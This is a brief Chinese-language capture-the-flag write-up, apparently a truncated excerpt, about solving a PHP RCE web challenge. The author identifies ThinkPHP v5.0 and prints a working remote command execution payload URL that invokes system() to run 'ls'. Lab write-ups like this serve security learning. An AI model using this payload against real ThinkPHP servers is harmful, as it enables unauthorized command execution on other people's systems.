攻防世界web進階區之php rce

頁面就只有這個，沒啥其他的，F12，也沒啥發現，bp抓包也沒有，百度這個thinkphp v5.0版本，發現出過遠程命令執行的漏洞 找了一下payload /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls 漏洞鏈接 沒有flag，返回上一級，多次

>>阅读原文<<